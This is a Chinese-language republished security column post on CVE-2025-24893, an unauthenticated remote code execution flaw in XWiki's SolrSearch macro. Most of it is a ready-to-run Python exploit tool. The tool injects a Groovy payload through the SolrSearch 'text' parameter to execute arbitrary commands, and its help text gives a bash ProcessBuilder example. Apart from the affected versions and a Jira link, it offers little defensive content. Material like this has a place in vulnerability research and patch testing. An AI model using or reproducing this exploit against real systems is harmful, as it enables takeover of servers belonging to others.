首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2025-24893|XWiki Platform远程代码执行漏洞(POC)

CVE-2025-24893|XWiki Platform远程代码执行漏洞(POC)

作者头像
信安百科
发布2025-07-30 15:03:20
发布2025-07-30 15:03:20
8780
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

XWiki是一个开源的企业级知识管理平台,它使用Java编写,并提供了一个完整的框架用于创建、管理和分享信息。XWiki采用Wiki概念,允许团队成员通过Web界面协作编辑文档。其核心特性包括强大的版本控制、权限管理、模板和宏系统以及多语言支持。

0x01 漏洞描述

该漏洞存在于 XWiki 的 SolrSearchMacros 功能中,允许未经身份验证的用户通过对 SolrSearch 端点的请求执行任意远程代码。

0x02 CVE编号

CVE-2025-24893

0x03 影响版本

XWiki 15.10.11、16.4.1和16.5.0RC1之前的版本

0x04 漏洞详情

POC:

https://github.com/iSee857/CVE-2025-24893-PoC

代码语言:javascript
复制
import argparse
import requests
import sys
from urllib.parse import urljoin

VULN_PATH = "/xwiki/bin/get/Main/SolrSearch?media=rss&text="
PAYLOAD_TEMPLATE = "}}}{{async async=false}}{{groovy}}%s;println('EXPLOIT_SUCCESS'){{/groovy}}{{/async}}"

def banner():
    print("\033[36m" + """
    ****************************************************
    *                 CVE-2025-24893                   *
    *             XWiki RCE漏洞利用工具                 *
    *                 作者: iSee857                    *
    ****************************************************
    """ + "\033[0m")
def execute_exploit(target_url, command):

    try:
        full_url = urljoin(target_url.rstrip('/') + '/', VULN_PATH.lstrip('/')) 

        safe_cmd = command.replace('{', '{{').replace('}', '}}')  
        safe_cmd = safe_cmd.replace('\\', '\\\\')  
        safe_cmd = safe_cmd.replace("'", "\\'")   


        payload = PAYLOAD_TEMPLATE % safe_cmd
        params = {'media': 'rss', 'text': payload}
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': '*/*'
        }

        response = requests.get(
            full_url,
            params=params,
            headers=headers,
            allow_redirects=False,
            verify=False,
            timeout=20
        )

        if response.status_code == 200 and 'EXPLOIT_SUCCESS' in response.text:
            print("[+] 漏洞利用成功!响应片段:")
            print(response.text[:300].split('EXPLOIT_SUCCESS')[0] + "...[SUCCESS]")
            return True
        else:
            print(f"[-] 利用失败,状态码:{response.status_code}")
            return False

    except Exception as e:
        print(f"[-] 错误:{str(e)}")
        return False

if __name__ == "__main__":
    banner()
    parser = argparse.ArgumentParser(description="XWiki RCE漏洞利用工具 CVE-2025-24893")
    parser.add_argument("URL", help="目标URL (例: http://127.0.0.1:8080)")
    parser.add_argument("COMMAND", help="Groovy命令 (例: 'new ProcessBuilder(\"bash\",\"-c\",\"echo pwned > /tmp/pwned.txt\").waitFor()')")
    args = parser.parse_args()


    if '\\' in args.COMMAND:
        args.COMMAND = args.COMMAND.replace('\\', '/')

    success = execute_exploit(args.URL, args.COMMAND)
    sys.exit(0 if success else 1)

0x05 参考链接

https://github.com/iSee857/CVE-2025-24893-PoC

https://jira.xwiki.org/browse/XWIKI-22149

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-05-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档